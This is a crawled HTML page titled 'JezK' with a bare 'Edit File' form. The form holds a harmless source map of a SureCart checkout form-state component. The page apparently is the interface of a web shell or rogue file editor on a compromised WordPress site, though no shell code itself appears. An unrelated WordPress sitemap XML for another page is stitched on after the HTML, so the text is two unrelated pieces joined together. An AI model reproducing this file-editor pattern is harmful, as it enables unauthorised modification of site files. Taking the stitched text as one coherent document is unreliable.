
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: sc-form-state-provider2.js.map</h2><form method="post"><textarea name="file_content" rows="10" cols="50">{&quot;file&quot;:&quot;sc-form-state-provider2.js&quot;,&quot;mappings&quot;:&quot;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;0DAkEgB,UAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&quot;,&quot;names&quot;:[],&quot;sources&quot;:[&quot;src/components/providers/form-state-provider/sc-form-state-provider.tsx&quot;],&quot;sourcesContent&quot;:[&quot;import { Component, h, State, Event, EventEmitter, Listen, Watch } from &#039;@stencil/core&#039;;\nimport { checkoutMachine } from &#039;./checkout-machine&#039;;\nimport { interpret } from &#039;@xstate/fsm&#039;;\nimport { __ } from &#039;@wordpress/i18n&#039;;\nimport { FormState, FormStateSetter } from &#039;../../../types&#039;;\nimport { updateFormState } from &#039;@store/form/mutations&#039;;\n\n/**\n * This component listens for a confirmed event and redirects to the success url.\n */\n@Component({\n  tag: &#039;sc-form-state-provider&#039;,\n  shadow: true,\n})\nexport class ScFormStateProvider {\n  /** Holds our state machine service */\n  private _stateService = interpret(checkoutMachine);\n\n  /** Loading states for different parts of the form. */\n  @State() checkoutState = checkoutMachine.initialState;\n\n  /** Set the state. */\n  @Event() scSetCheckoutFormState: EventEmitter&lt;FormState&gt;;\n\n  /** Set the state. */\n  setState(name) {\n    const { send } = this._stateService;\n    updateFormState(name);\n    return send(name);\n  }\n\n  /** Watch for checkout state changes and emit to listeners. */\n  @Watch(&#039;checkoutState&#039;)\n  handleCheckoutStateChange(state) {\n    this.scSetCheckoutFormState.emit(state.value);\n  }\n\n  /** Init the state service. */\n  componentWillLoad() {\n    // Start state machine.\n    this._stateService.subscribe(state =&gt; (this.checkoutState = state));\n    this._stateService.start();\n  }\n\n  /** Remove state machine on disconnect. */\n  disconnectedCallback() {\n    this._stateService.stop();\n  }\n\n  /** Allow children to set the form state. */\n  @Listen(&#039;scSetState&#039;)\n  handleSetStateEvent(e) {\n    this.setState(e.detail as FormStateSetter);\n  }\n\n  /** Update the state when the order is paid. */\n  @Listen(&#039;scPaid&#039;)\n  async handlePaid() {\n    this.setState(&#039;PAID&#039;);\n  }\n\n  render() {\n    // handle expired.\n    if (this.checkoutState.value === &#039;expired&#039;) {\n      return (\n        &lt;sc-block-ui&gt;\n          &lt;div&gt;{__(&#039;Please refresh the page.&#039;, &#039;surecart&#039;)}&lt;/div&gt;\n        &lt;/sc-block-ui&gt;\n      );\n    }\n\n    return &lt;slot /&gt;;\n  }\n}\n&quot;],&quot;version&quot;:3}</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
